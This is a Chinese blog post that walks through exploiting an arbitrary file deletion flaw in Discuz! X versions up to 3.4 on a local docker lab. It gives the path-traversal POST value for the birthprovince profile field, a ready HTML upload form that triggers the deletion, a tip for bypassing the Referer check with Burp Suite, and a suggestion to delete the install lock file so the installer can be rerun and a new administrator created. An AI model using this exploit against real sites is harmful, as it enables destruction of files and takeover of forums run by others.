Bubbles~blog

用爱发电

Discuz<=3.4 的任意文件删除

这两天看到Discuz又爆了个任意文件删除的洞,3.4以下版本通杀,而且这个洞是个老洞了,一直没修复完全,反正国庆也是闲的就来玩玩

既然是测试肯定是在本地搭环境了,现在感觉docker是真好用,在库里直接找了个Discuz!x 3.2的

docker pull skyzhou/docker-discuz

然后我们启动这个镜像,当然这之前我们还得启动一个mysql

docker run –name your-mysql -e MYSQL_ROOT_PASSWORD=youpwd -d mysql

docker run –name your-discuz –link your-mysql:mysql -p 80:80 -d skyzhou/docker-discuz

接下来打开你本地的环境就可以进入安装界面了

安装完毕以后我们再来复现这个漏洞
首先我们要把设置里个人资料的出生地修改为要删除的文件地址,比如有个test.txt在根目录,我们可以向以下地址发送一个POST请求
/home.php?mod=spacecp&ac=profile&op=base

POST内容为: birthprovince=../../../test.txt&profilesubmit=1&formhash=你的值

文件地址这里你可以随便多加几个../确保到达根目录,formhash的值是在你的页面里的,你可以f12在源码里寻找然后填充到那就行,成功请求后我们就会发现我们的出生地被成功修改

要执行删除操作需要我们向目标地址上传一个文件,随便啥都可以,总之要把本来的给覆盖掉,所以我们构造一个简单的上传表单来完成这个操作

<form action="http://yourip/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file"/>Formhash: <input type="text" name="formhash"/>
<input type="hidden" name="profilesubmit" value="1"/>
<input type="submit" value="Submit"/>
</from>

随便挑个图片然后输入你的formhash发送请求就可以实现删除文件的操作了,这里要注意的一点就是discuz会check你的请求的referer头,可以先用burpsuite拦截修改头部后再发送

这个洞的危害还是非常大的,利用它可以搞很多破坏,比如我们直接把他的安装程序锁删了,然后我们就可以重新执行安装步骤,使用现成的数据库数据,新建一个管理员账号,直接进入后台。不过我们这里使用docker启动数据库是直接绑定到了页面,正常的环境是要自己配置的,也就存在了漏洞,这里也是提供一种思路,当然,这种方法的动静也是有点大。。。

按理写这种还是要配个图的,不过markdown要用图床贼麻烦,所以注册个七牛云也没咋用,主要还是懒。。。